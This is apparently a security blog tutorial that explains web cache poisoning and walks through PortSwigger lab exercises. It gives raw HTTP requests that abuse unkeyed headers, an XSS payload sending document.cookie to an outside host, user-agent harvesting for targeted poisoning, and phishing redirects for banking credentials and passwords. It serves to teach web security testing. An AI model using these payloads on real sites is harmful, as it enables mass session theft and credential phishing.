What is it ?
Cache poisoning was popularized in 2018, although this attack existed long before, as this 2009 OWASP article shows.
In short, it consists in poisoning the cache that will be served to the next users.
This attack can be anecdotal as very powerful, since it couples with other vulnerabilities, such as XSS or Open Redirection.
For example, we can poison a cache with an XSS, which will steal the session cookies of all users who will go to a certain page.
Beware, this is not to be confused with Web Cache Deception (WCD), which has neither the same methodology nor the same goal.
In order to understand how it works, we need to understand what this attack is based on: the cache.
The purpose of the cache is to reduce the response time of the web server. It acts as an intermediary between the web server and the client. It allows to save web pages that have been previously requested and then provide them to other clients requesting the same page.
There are two important notions that characterize a cache server:
- The amount of time a page is cached
- Whether the cached copy will be delivered or whether the request will be transferred to the web server
Here is how the caching and then the distribution of the cache is done :
The X-Cache: Hit header indicates that we have contacted the cache, and the X-Cache: Miss directly with the web server.
It is in this second case that the cache will be generated, since it will cache the response returned by the web server.
So, what happens if we manage to inject arbitrary code into the web server's response during an X-Cache: Miss ?
If we take advantage of X-Cache: Miss to inject our arbitrary code, it will be returned and cached, then distributed to all other visitors, without any interaction required from them!
Of course, this cache won't stay forever: it is often defined by the Cache-Control header.
For example: Cache-Control: max-age=180 means that the cache will stay 3 minutes, until the next caching.
Imagine two users from different countries visiting a certain page, such as the home page of a bank.
Given the large number of people visiting the site, in order to serve the visitors faster, the bank decided to set up a cache, this will allow the bank to lighten the requests and not regenerate content for each request as explained before.
But then, how to determine which cache to send?
We won't send a Polish cache to a French visitor, and that's why cache keys are set up.
They will simply choose in the request which elements to choose to distribute the cache.
In our example, it will simply be a language cookie (if there is one), such as
It can also be headers or GET request parameters.
The unkeyed inputs will be our vector of attack during cache poisoning.
We consider an unkeyed input, a field that is not a cache key, but which is reflected in the response or acts on the response (like redirecting a page to another one).
Like Cache Keys, these can be headers, cookies, or GET request parameters.
They can also be chained (i.e. several unkeyed inputs at once), as we'll see in the "Resource hijacking" example.
Finding unkeyed inputs can be boring, fortunately, to make it easier for us, PortSwigger has concocted a wonderful module : Param Miner.
To use it within Burp, it's very simple:
- Install Param Miner and activate it
- Right-click on the desired query
- Choose whether to search for headers, cookies or GET parameters
- Start the scan
- You can see the scan live thanks to the Flow module, otherwise go to Extender -> Extensions -> Param Miner -> Output (this can take some time)
Here is an example of a Param Miner output:
Updating active thread pool size to 8 Queued 1 attacks Selected bucket size: 8192 for ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net Initiating header bruteforce on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net Resuming header bruteforce at -1 on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net Identified parameter on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net: x-forwarded-host Resuming header bruteforce at -1 on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net Completed attack on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net
We can see in this example that Param Miner has found the X-Forwarded-Host header as an unkeyed input.
The cache buster is a parameter that is added in the request to hide only a specific page. Actually, the requested web page and its parameters are cache keys.
This allows us not to poison the cache of all visitors during tests.
To ensure that you follow this article as closely as possible, here are the headers that we are going to talk about, accompanied by a short description.
About the cache :
|X-Cache||Indicates whether the response comes from the cache server (X-Cache: hit) or from the web server (X-Cache: miss).|
|Indicates the age of the cache in seconds.|
Indicates caching instructions.
|Vary||Defines the headers that will serve as cache keys.|
|X-Forwarded-Host||Identifies the host initially requested by the client in the Host header of the HTTP request.|
|X-Forwarded-Scheme||Similar to X-Forwarded-Proto, it is used to identify the protocol (HTTP / HTTPS) used to connect to the proxy.
|X-Original-Url||Indicates the URL initially requested.|
We will now move on to practice, using PortSwigger's excellent Cache Poisoning labs (there are 6 in total, but we will only skim them to practice the most important aspects of Cache Poisoning).
For the sake of readability, we have replaced all Exploit Servers URLs with hideandsec.sh.
Basic unkeyed input
By using the Burp proxy on the home page, we can see the beginning of this answer :
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Connection: close Cache-Control: max-age=30 Age: 2 X-Cache: hit X-XSS-Protection: 0 Content-Length: 10627
Thanks to Param Miner, we can find an unkeyed input: X-Forwarded-Host.
Effectively, by giving it a value we notice that the url of the tracking.js script changes :
GET /?x=buster HTTP/1.1 Host: acb71fdd1e124550803245dc009d00fe.web-security-academy.net X-Forwarded-Host: hideandsec.sh
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Connection: close Cache-Control: max-age=30 Age: 2 X-Cache: hit X-XSS-Protection: 0 Content-Length: 10583
Bingo ! We can poison the cache for 30 seconds for everyone who comes to see this same page !
Attention, in order to poison the cache, you have to send the request in order to receive an X-Cache: miss, which means that we have sent the request directly to the web server (and not to the cache server), then X-Cache: hit, to check that we have poisoned the cache.
It's mostly a confirmation, to make sure we don't only have X-Cache: miss.
- Now we have two possibilities :
Let's use the first method.
Let's put our payload
alert(‘oupsi’) in https://hideandsec.sh/resources/js/tracking.js, re-poison the cache and reload the page :
And it's as simple as that, everyone who accesses the site's home page within 30 seconds will get this message.
Let's imagine going to a web site and receiving this initial response :
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Keep-Alive: timeout=0 Cache-Control: max-age=30 Age: 24 X-Cache: hit X-XSS-Protection: 0 Connection: close Content-Length: 10576
We can see :
- That there is a cache, thanks to the Cache-Control, Age and X-Cache headers
- That he's making us load a “tracking.js” script.
Let's now launch Burp Suite's Param Miner extension for bruteforce unkeyed inputs in headers :
Updating active thread pool size to 8 Queued 1 attacks Selected bucket size: 8192 for ace61ff21ef38bb68028159d009a000c.web-security-academy.net Initiating header bruteforce on ace61ff21ef38bb68028159d009a000c.web-security-academy.net Resuming header bruteforce at -1 on ace61ff21ef38bb68028159d009a000c.web-security-academy.net Identified parameter on ace61ff21ef38bb68028159d009a000c.web-security-academy.net: x-forwarded-scheme Resuming header bruteforce at -1 on ace61ff21ef38bb68028159d009a000c.web-security-academy.net Completed attack on ace61ff21ef38bb68028159d009a000c.web-security-academy.net
Param Miner found the X-Forwarded-Scheme header to be an unkeyed input.
Indeed, when we give it any value other than https, like nothttps or http, it returns a 302 Found (Redirection) :
GET /?x=buster HTTP/1.1 Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net X-Forwarded-Scheme: nothttps
HTTP/1.1 302 Found Location: https://ace61ff21ef38bb68028159d009a000c.web-security-academy.net/?x=buster Keep-Alive: timeout=0 Cache-Control: max-age=30 Age: 0 X-Cache: miss X-XSS-Protection: 0 Connection: close Content-Length: 0
We can see that the X-Cache has the value Miss, which means that it has not returned the cache because it has expired (Age: 0), that we have managed to communicate with the server and that it has generated the new cache using this response, for a maximum duration of 30 seconds (max-age=30).
These values concerning the cache can be very useful to develop a small script that will automatically re-poison the cache according to the value of the Age header, in our case every 30 seconds.
This is a beginning of Open Redirection, but not yet, since it does not redirect to a third host.
Luckily we still have the X-Forwarded-Host header!
The X-Forwarded-Host (XFH) header is a de-facto standard header for identifying the original host requested by the client in the Host HTTP request header.
Host names and ports of reverse proxies (load balancers, CDNs) may differ from the origin server handling the request, in that case the X-Forwarded-Host header is useful to determine which Host was originally used.
Chances are the server will consider our X-Forwarded-Host as the host initiating the request, and therefore use it to generate the redirect links :
GET /?x=buster HTTP/1.1 Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net X-Forwarded-Scheme: nothttps X-Forwarded-Host: hideandsec.sh
HTTP/1.1 302 Found Location: https://hideandsec.sh/?x=buster Keep-Alive: timeout=0 Cache-Control: max-age=30 Age: 0 X-Cache: miss X-XSS-Protection: 0 Connection: close Content-Length: 0
The cache is now poisoned with Open Redirection on our own server.
That's nice, but we can't get very far with that, except by doing phishing.
Luckily we have another way to inject code: the tracking.js file we found at the beginning !
GET /resources/js/tracking.js?x=buster HTTP/1.1 Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net
Here is what the request gives us without modification.
Let's retry the operation from before with X-Forwarded-Host and X-Forwarded-Scheme :
GET /resources/js/tracking.js?x=buster HTTP/1.1 X-Forwarded-Host: hideandsec.sh X-Forwarded-Scheme: nothttps Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net
HTTP/1.1 302 Found Location: https://hideandsec.sh/resources/js/tracking.js?x=buster Keep-Alive: timeout=0 Cache-Control: max-age=30 Age: 0 X-Cache: miss X-XSS-Protection: 0 Connection: close Content-Length: 0
Now all pages that will load the resource /resources/js/tracking.js will load it on our own server.
Now let's configure the payload.
For this demonstration, I will just run an alert
alert(“Oupsi doupsi”) on the home page of the site.
PortSwigger offer us an Exploit Server to do this, so let's put the payload in the file /resources/js/tracking.js :
It is important to reproduce the path displayed in the redirection, otherwise the browser will not be able to load our payload.
Let's remove our cache buster
?x=buster to poison the cache of all users, send back our infected request until we get an X-Cache: miss, and watch the result on the browser !
Therefore, any user going to this page will load our own tracking.js because of the 302 redirection.
Targeted Cache Poisoning
Now imagine, during a Red Team mission for example, wanting to target a single person.
For example, we can tell if this is the case when the server returns the "Vary: User-Agent" header, but it may be the case even if it doesn't.
Never trust headers.
Let's take the case of a website that allows you to post comments, using HTML (or that you found an XSS on it).
You can insert a comment like this :
<h2>Ahaha cool post ! I love it</h2> <img src="hideandsec.sh/thxforyouruseragent" />
172.31.30.141 2020-05-09 06:36:41 +0000 "GET /thxforyouruseragent HTTP/1.1" 404 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"
So far nothing incredible, but now let's use these User-Agents for our cache poisoning on the example before.
GET /resources/js/tracking.js HTTP/1.1 X-Forwarded-Host: hideandsec.sh X-Forwarded-Scheme: nothttps Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36
HTTP/1.1 302 Found Location: https://hideandsec.sh/resources/js/tracking.js Keep-Alive: timeout=0 Cache-Control: max-age=30 Age: 0 X-Cache: miss X-XSS-Protection: 0 Connection: close Content-Length: 0
You'll notice that we replaced the User-Agent with the one we stole.
Therefore, if the cache is configured to take in consideration the User-Agent as a cache key, this redirection will only be done on users having this same User-Agent (including our target).
Local Route Poisoning
Let's imagine for this example, that after having launched a Param Miner on the headers of a site, we find ourselves with the headers X-Original-Url or X-Rewrite-Url as unkeyed inputs.
GET / HTTP/1.1 Host: acb71fdd1e124550803245dc009d00fe.web-security-academy.net X-Original-Url: /admin
The site will return us the content of the /admin page, without redirection!
So if we inject this request in cache (X-Cache: Miss -> X-Cache: Hit), all users will receive the content of the /admin page instead of the home page.
Not very interesting, you might say, given that we can only use pages from the targeted site, not our own.
That's why we have to couple this vulnerability to another one.
Here is an example of what you can do with an Open Redirection :
GET /transactions.php HTTP/1.1 Host: acb71fdd1e124550803245dc009d00fe.web-security-academy.net X-Original-Url: /logout.php?callback=https://hideandsec.sh/transactions.php
We ask for /transactions.php, except that behind it, the server will return /logout.php?callback=https://hideandsec.sh/transactions.php.
So it will first go to logout.php, and in both cases (if the server has an open session or not), it will redirect to the callback (our transactions page), whereas if we had made an open redirection to the callback of login.php and the server has no open session, it would have loaded the login page instead of the callback.
This is therefore equivalent of a more elaborate phishing, since no social engineering is required to get a victim to click on a link redirecting to our fake site, and most importantly, all users will be trapped.
We will then be able to retrieve all of our victims' banking data, and even their credentials, by asking them to confirm their password and/or identity during a transaction.
To escape this restriction to redirect only to a page of the site concerned, an XSS can be used.
Let's imagine an XSS on the page /search?q=<script>alert(“Your site is very secure”)</script>.
Here's an example of a request that will steal the victims' cookies :
GET /dashboard HTTP/1.1 Host: acb71fdd1e124550803245dc009d00fe.web-security-academy.net X-Original-Url: /search?q=<img src=x onerror=this.src='https://hideandsec.sh/?c='+document.cookie />
If the server does not accept this request, encode it, or even encode it twice.
In this request, the server will return the search result with our image
<img src=x onerror=this.src='https://hideandsec.sh/?c='+document.cookie />
Once the content of the page is cached, anyone trying to go to their /dashboard will end up on the search page, with our image that they will not be able to load, by sending their cookies.
We use the /dashboard here and not the home page, to be sure to retrieve cookies from people who are logged in.
We could have also redirected the /change_password to ours with
<script>window.location.replace("https://hideandsec.sh/change_password");</script>, and redo phishing like the Open Redirection.
If the victim doesn't pay attention to the domain name that has changed in the meantime, we could recover 2 passwords from the victim, the old one and the new one, which we can then use for Password Spraying.
- Github : https://github.com/mxrch
- Twitter : https://twitter.com/mxrchreborn
- HackTheBox : https://www.hackthebox.eu/profile/181024